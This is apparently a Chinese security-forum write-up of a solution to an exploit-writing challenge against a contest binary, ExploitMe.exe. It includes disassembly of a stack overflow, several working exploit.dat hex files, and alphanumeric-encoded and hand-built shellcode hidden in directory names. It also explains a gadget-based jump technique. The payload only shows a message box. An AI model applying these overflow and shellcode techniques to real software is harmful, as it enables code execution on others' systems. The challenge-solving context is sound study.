放出来算了,免得被人骂.
00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000010h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 5C 85 ; \
在C盘根目录下创建如下文件夹
aaB777777RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJImSktbpazd3PhE5Wpt3c00hsSuP1s5Pqx0suPqeuPe8bTUPupS0u8BOS0Qyc0CX40wpPlWpQxCu5PpxS0LKyLLCzL6LrJuPsXRLQpcpUPScRJwpE8ZnVqQPUPJcWpA
将dat文件和ExploitMe.exe仍进去运行~~这样应该最稳定了,还不分语言~~别拍砖~
当然,路径还可以很短
分部的分析说明:
1.分析题目,找准切入点:
从题目可知是要求我们写一个弹出对话框的SHELLCODE.同时
得分最多的标准简单说就是看谁的exploit.dat中的SHELLCODE非零字符最少.
2.分析EXPLOITME.EXE:
简单分析可知程序是个标准的VC程序,程序主要流层为:先判断exploit.DAT
的文件大小,大于200H退出,如小于200H则读文件同时得到文件的实际大小:如果大于
84H则不走到出错流层同时弹出fail的对话框.
另:程序中还包括动态得到MessageBoxA和MessageBoxW的函数地址,同时保存在全局变量中.
由于程序是VC程序,所以在程序初始化时还会执行一些代码以得到程序环境变量等
(比如当前路径和程序名)
3.出错代码简单分析:
简单说就是EXPLOIT.DAT中的数据覆盖了保存在栈中的一个函数地址,在接下来的代码
会有一个call [edx],这时EDX已经能够变成我们的任意数据.同时经过这一步的分析可
知对EXPLOIT.DAT中的数据格式没有任何要求,没有经过任何编码转换.具体出错代码如下:
mov ecx, ebx
mov esi, ebp
mov edx, ecx
lea edi, [esp+328h+var_280]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [esp+328h+var_308]
lea ecx, [esp+328h+var_308]
call dword ptr [eax]
mov edx, [esp+328h+var_284] ;这时取的EDX值已经可控
lea ecx, [esp+328h+var_284]
call dword ptr [edx] ;这儿跳到SHELLCODE
mov edi, [esp+328h+hHeap]
mov esi, [esp+328h+hObject]
mov [esp+328h+var_318], 1
4.分析漏洞
通过简单调试可知在exploit.dat的80H到83H处的四个字节刚好可以控制
EDX.这儿就是通常所说的跳转地址位置.
由于跳转地址的作用主要是直接或是间接的指向SHELLCODE,具体值的选则
和解题思路与shellcode的存放位置有关.
5.解题思路:
通过分析程序和漏洞得到三个大的思路:
思路1:
出题者可能在该EXE的某个地方留有特殊代码,这样就可能存在用1个或是2字节
覆盖EDX后,就可以跳到特殊代码,然后完成相关功能.这样的话EXPLOIT.DAT中的
非0字节可以做得非常少.
但对EXE认真分析后,我没有发现相关代码,水平有限所以该思路我无解.
思路2:
认真分析该题的要求,只说了不能修改exploitme.exe程序本身,但并没有说不能
修改该程序的文件名,或是让该程序带特殊参数,或是让该程序在指定的位置运行
又或者是对OS的环境变量进行设置等等.
利用上述思路,我最终完成多个EXP,最巧妙的可以做到非0字节紧有2字节.
(如果出题者不认同该思路那么请看思路3)
思路3:
该思路相对比较保守也就是在程序执行的时候,所有SHELLCODE和字串等全部放在
exploit.dat中.
思路2和思路3的比较:
如果思路2能得到认同那么无凝是exploit.dat中非0字节最少的,因为exploit success
这个字串和指令都可以放在exploit.dat之外.(当然有些人可能是有部分字串放在exploit.dat
之外一部分代码在exploit.dat中,我认为这其实也是思路2)
思路2的关键:关键点我认为是要找到一个我们可控的字串,该字串在EXPLOITME.EXE中存在且
字串我们可控或部分可控,同时该字串的址址在EXPLOITME.EXE中有保存.
思路3其实非常简单主要是两步:
一步是构造跳转,另一步是构造SHELLCODE,经过我的计算如果是利用了栈地址,该思路exploit.dat中的非0字节应该是26-33字节之间.
6.构造EXP
思路2的EXP说明:
首先我通过分析EXE文件发现在0040855c(这儿是EXE的全局变量区)处保存了一个值,这个值
通常是00408574.而00408574处的值刚好是EXE运行的时候路径和文件名比如c:\masm32\bin\exploitme.exe,字串是ansi形式.
那么我们把exploit.dat设为如下:
00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000010h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 5C 85 ; \
等于说是栈中的EDX的值我们只覆盖内存的低字节,本来EDX是0040XXXX
现在就变成了0040855c
那么call [edx]就等于call [0040855c]也就等于call 00408574
而00408574的值为我们的路径C:\.............,转换成代码也就是
:u 00408574 l 30
001B:00408574 43 INC EBX ;C
001B:00408575 3A5C6161 CMP BL,[ECX+61] ;:\aa
001B:00408579 884257 MOV [EDX+57],AL
001B:0040857C 88424D MOV [EDX+4D],AL
001B:0040857F 83C24E ADD EDX,4E
001B:00408582 50 PUSH EAX
001B:00408583 52 PUSH EDX
001B:00408584 83EA41 SUB EDX,41
001B:00408587 83C231 ADD EDX,31
001B:0040858A 52 PUSH EDX
001B:0040858B 50 PUSH EAX
001B:0040858C 83EA43 SUB EDX,43
001B:0040858F 83EA43 SUB EDX,43
001B:00408592 52 PUSH EDX
001B:00408593 58 POP EAX
001B:00408594 FF30 PUSH DWORD PTR [EAX]
001B:00408596 58 POP EAX
001B:00408597 FFD0 CALL EAX
001B:00408599 C3 RET
该EXP的优点:关键的跳转地址利用的是EXE的变局变量中的,由于该EXE不会变化且该EXE也很简单
我在XP SP2/SP3/VISTA下均测试通过,通用性非常好(没考虑DEP),且该程序不支持ASLR.
下面来说具体的SHELLCODE:
由于我怕有人找到和我同样的思路,然后出题者会考虑在这个大思路下再比较每人具体的SHELLCODE
大小而非exploit.dat中的非0字节数所以我写了四个利用这个思路但又不同的EXP,下面我一一介绍:
(以下分别用 EXP1、EXP2、EXP3、EXP4、EXP5 来分别说明)
EXP1:
exploit.dat中非0字节仅为两字节,SHELLCODE和Exploit success的字串全放在目录中,且目录名
经过编码为全字母数字.
目录名如下:
aaB777777RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJImSktbpazd3PhE5Wpt3c00hsSuP1s5Pqx0suPqeuPe8bTUPupS0u8BOS0Qyc0CX40wpPlWpQxCu5PpxS0LK
yLLCzL6LrJuPsXRLQpcpUPScRJwpE8ZnVqQPUPJcWpA
攻击方法:
只要在C盘根目录下建立如上述的目录,然后把exploit.dat和EXE放在该目录中,双击就可弹出正确的对话框,该目录的长度为167字节(没包括
C:\)
补充:出题者可能会问如果我的目录的开头不是C盘或是盘符是c(小写)你的SHELLCODE就会出错,这其实
是可以解决的,只是就要专门分析了,所以该题中的目录一律都是在C盘根目录下:),至于小写的c是不会出现这种情况的.
另外在EXP1中使用的是MessageBoxW,Exploit success的字串的构造我是用的PUSH XX00XX00的形式
同时EXP1处理了ESP让程序可以正常退出,如果不能正常退出程序还可以再小些.
该EXP的SHELLCODE如下:
00000000h: 83 C4 50 6A 73 68 65 00 73 00 68 63 00 63 00 68 ; 兡Pjshe.s.hc.c.h
00000010h: 73 00 75 00 68 74 00 20 00 68 6F 00 69 00 68 70 ; s.u.ht. .ho.i.hp
00000020h: 00 6C 00 68 45 00 78 00 8B DC 83 EC 2C 6A 00 68 ; .l.hE.x.嬡冹,j.h
00000030h: 6C 60 40 00 53 6A 00 68 CE 11 40 00 C3 ; l`@.Sj.h?@.
注意是以上代码我手工构造的,呵呵所以没源代码,解码的SC也是手工构造的,如下
:u 00408574 l 30
001B:00408574 43 INC EBX
001B:00408575 3A5C6161 CMP BL,[ECX+61] ;nop like代码,跳过:\
001B:00408579 42 INC EDX
001B:0040857A 37 AAA ;nop like,为了地址对齐
001B:0040857B 37 AAA
001B:0040857C 37 AAA
001B:0040857D 37 AAA
001B:0040857E 37 AAA
001B:0040857F 37 AAA
001B:00408580 52 PUSH EDX ;EDX指向SC周围
001B:00408581 59 POP ECX
001B:00408582 6A41 PUSH 41
001B:00408584 58 POP EAX
001B:00408585 50 PUSH EAX
001B:00408586 304130 XOR [ECX+30],AL ;代码开始自修补
001B:00408589 41 INC ECX
001B:0040858A 6B414151 IMUL EAX,[ECX+41],51
001B:0040858E 324142 XOR AL,[ECX+42]
001B:00408591 324242 XOR AL,[EDX+42]
001B:00408594 304242 XOR [EDX+42],AL
001B:00408597 41 INC ECX
001B:00408598 42 INC EDX
001B:00408599 58 POP EAX
001B:0040859A 50 PUSH EAX
001B:0040859B 384142 CMP [ECX+42],AL
001B:0040859E 754A JNZ 004085EA
最后一行由于是自修补,所以这儿是不准确的.
解码出来后的SC如下:
:u 004085a0 l 40
001B:004085A0 83C450 ADD ESP,50
001B:004085A3 6A73 PUSH 73
001B:004085A5 6865007300 PUSH 00730065
001B:004085AA 6863006300 PUSH 00630063
001B:004085AF 6873007500 PUSH 00750073
001B:004085B4 6874002000 PUSH 00200074
001B:004085B9 686F006900 PUSH 0069006F
001B:004085BE 6870006C00 PUSH 006C0070
001B:004085C3 6845007800 PUSH 00780045
001B:004085C8 8BDC MOV EBX,ESP ;EBX指向Exploit success
001B:004085CA 83EC2C SUB ESP,2C
001B:004085CD 6A00 PUSH 00
001B:004085CF 686C604000 PUSH 0040606C ; "ExploitMe" ;标题用了全局变量中的
001B:004085D4 53 PUSH EBX
001B:004085D5 6A00 PUSH 00
001B:004085D7 68CE114000 PUSH 004011CE ;API的地址是硬编码,但肯定通用
001B:004085DC C3 RET
EXP2:
EXP2则是使用了MessageBoxA,并且把Exploit success弄在了目录名里,解码SC和上面的类似不给出了
目录名如下:
aaB777777RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI4sKpNhcqSbMXQQsl2pOsKqf3PQNcm9R03a2pyo5EuDmUspuPV8ISuPAExploit success
长度112字节
解码后的SC为:
:u 004085a0 l 30
001B:004085A0 33C0 XOR EAX,EAX
001B:004085A2 884152 MOV [ECX+52],AL
;主要是把路径中的Exploit success\,中的\改为0x00
001B:004085A5 88415C MOV [ECX+5C],AL
;主要是把路径中的ExploitMe.exe,中的.改为0x00
001B:004085A8 50 PUSH EAX
001B:004085A9 83C153 ADD ECX,53
001B:004085AC 51 PUSH ECX
001B:004085AD 83E910 SUB ECX,10
001B:004085B0 51 PUSH ECX
001B:004085B1 50 PUSH EAX
001B:004085B2 FF1514854000 CALL [USER32!MessageBoxA]
001B:004085B8 58 POP EAX
001B:004085B9 C3 RET
这个SC比较重要的地方是,找到了00408514这个全局变量中有包存MESSAGEBOXA的地址.所以
SC小了不少.
EXP3:
该EXP是以上几种中最短的,目录名只有50个字节,但是目录名中使用了汉字和0xff,也就是
全是这样就不要解码的SC了,所以非常短.坏处就是在非中文下可能不行
aa圔W圔M兟NPR冴A兟1RP冴C冴CRX0X忻Exploit success
对,你没看错上面就是目录名.16进制如下:
00000000h: 61 61 88 42 57 88 42 4D 83 C2 4E 50 52 83 EA 41 ; aa圔W圔M兟NPR冴A
00000010h: 83 C2 31 52 50 83 EA 43 83 EA 43 52 58 FF 30 58 ; 兟1RP冴C冴CRX0X
00000020h: FF D0 C3 45 78 70 6C 6F 69 74 20 73 75 63 63 65 ; 忻Exploit succe
00000030h: 73 73 ; ss
每一个字节都不是多余的.转成ASM如下(注:全是手工16进制打出来的没真正的源代码)
:u 00408574 l 30
001B:00408574 43 INC EBX
001B:00408575 3A5C6161 CMP BL,[ECX+61]
001B:00408579 884257 MOV [EDX+57],AL
001B:0040857C 88424D MOV [EDX+4D],AL
001B:0040857F 83C24E ADD EDX,4E
001B:00408582 50 PUSH EAX
001B:00408583 52 PUSH EDX
001B:00408584 83EA41 SUB EDX,41
001B:00408587 83C231 ADD EDX,31
001B:0040858A 52 PUSH EDX
001B:0040858B 50 PUSH EAX
001B:0040858C 83EA43 SUB EDX,43
001B:0040858F 83EA43 SUB EDX,43 ;EDX指向MSGBOXA地址的保存位置
001B:00408592 52 PUSH EDX
001B:00408593 58 POP EAX
001B:00408594 FF30 PUSH DWORD PTR [EAX]
001B:00408596 58 POP EAX
001B:00408597 FFD0 CALL EAX
001B:00408599 C3 RET
详细代码说明就不多说了,也是用了MessageBoxA,而存放该API的地址我也是用EDX来定位的
因为EDX一般是0040855c,而这个API地址是放在00408514,所以EDX减两次就能指到这儿
EXP4:
该EXP4,其实是用了一部分指令在目录名中,一部分在EXPLOIT.DAT中,而exploit success又要
命令参数中,多种方法相结合.EXPLOIT.DAT的大小为10字节
EXPLOIT.DAT中值为:
00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000010h: 00 00 00 00 00 00 00 00 CE 11 40 00 00 00 00 00 ; ........?@.....
;这儿是API
00000020h: 00 0B 02 00 6C 60 40 00 00 00 00 00 00 00 00 00 ; ....l`@.........
;这儿是环境块中的命令行参数,后面的是全局变量中的ExploitMe串
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 5C 85 ; \
目录名我们弄成:
C:\aaaa面aaaaaaaaaaaaaaaaaaaaaaaa1234
执行程序的时候我们这样执行
C:\aaaa面aaaaaaaaaaaaaaaaaaaaaaaa1234>exploitme Exploit success
分析:
5C85是什么意思,前面已经说了不多说.
目录名为c:\aaaa面...................
反汇编出来就是
001B:00408574 43 INC EBX
001B:00408575 3A5C6161 CMP BL,[ECX+61]
61 POPAD
61 POPAD
C3 RET
XXXXX
也就是说c:\后面的aa是NOP LIKE指令,同时cmp bl,[ecx+61],因为ECX总是在0012XXXX或是0013XXXX
反正是栈里,所以这儿是不会出错的.
关键是后面的aa面也就是popad,popad,ret指令
这儿是用来定位SHELLCODE的.
然后EXPLOIT.DAT中的00020B00有必要说一下:因为这儿有两个00,主要是我在目录名后面补了一长串
aaaaaaa....,这样肯定是可以让指向环境变量中的Exploit success的地址中有两个00的.
当然EXP4,有一个不稳定的地方也就是00020b00的使用,因为这儿是用了不稳定的硬编码所以有些机器
上不行.
7.思路3的EXP5说明:
前面已经分析过思路3了,总之思路3就必须是所以东东都在exploit.dat中我的如下:
00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000010h: 00 00 00 00 00 00 00 00 CE 11 40 00 00 00 00 00 ; ........?@.....
00000020h: A4 FC 13 00 6C 60 40 00 00 00 00 00 45 00 78 00 ; ..l`@.....E.x.
00000030h: 70 00 6C 00 6F 00 69 00 74 00 20 00 73 00 75 00 ; p.l.o.i.t. .s.u.
00000040h: 63 00 63 00 65 00 73 00 73 00 00 00 00 00 00 00 ; c.c.e.s.s.......
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 61 61 C3 00 ; ............aa?
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 E4 FC 13 00 ; ............潼..
00000080h: F4 FC 13 00 ; 酎..
个人认为这种思路没啥好分析的,分值也不会差好大(26-33字节).至于通用性由于
有三处用了0013xxxx,而有些机器上这儿总是0012xxxx,所以通用性不会太好.
最后总结:
关于通用性,我想如果是用栈中的硬编码地址比如0012XXXX或是0013XXXX都不会太好,但
是象004011CE或是0040606C,因为这个程序比较简单应该是非常通用的,如果是实际应用
用0040XXXX的地址应该说是分EXE版本.
另外我的思路3,目前是33字节还可以再少吗,我想可以少的地方只能是在6CH,7CH,80H这三
个地方也就是跳转地构造和SC的定位的巧妙上.
所以用思路3的非0字节长度应该这样来算:
15字节的字串+3字节API+6字节字串地址=24
然后最起码要2个字节的跳转,所以思路3最少是26字节!
少于26字节的可以肯定是用了思路2或是1.
另外通用性上只要是用思路3,你字串(Exploit success)的定位一般来说是0013XXXX来定位,所以都谈不上通不通用了.
真正有通用的办法吗:
除开思路2,其实是有的,至少相对来说,我的分析如下:
首先在内存中找到能定位到栈中EXPLOIT.DAT数据的指令,比如我用的总是POPAD,POPAD,RET
假设这个指令为6161c3,那么在内存中搜到后,比如为KERNEL32.DLL的代码节,我们设为77112233
然后再在内存中可读的区域找77112233,找到后假设这个地址为78112233那么80H处我们就可以
设为78112233那么在CALL [EDX]就是call [78112233]也就是call 77112233,那么就直接跳到
POPAD,POPAD,RET了,RET后就定位到SC了.
然后在SC中用我前面用的push 00xx00xx的方法来构造Exploit success,这样引用的时候就非常的通用!!不过这种方法也有个问题虽然题目录
中说了是XP SP3但还是有补丁的问题.
关于分数:
我一共做了6个版本,望改题者多多考虑,因为我是看到评分标准中明确说了:
题目可能存在多种不同解法,答出多种解法者,根据答案优劣,酌情加分
还有
如题目挑战失败,但提供了解题思路及分析过程,也可酌情得分
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!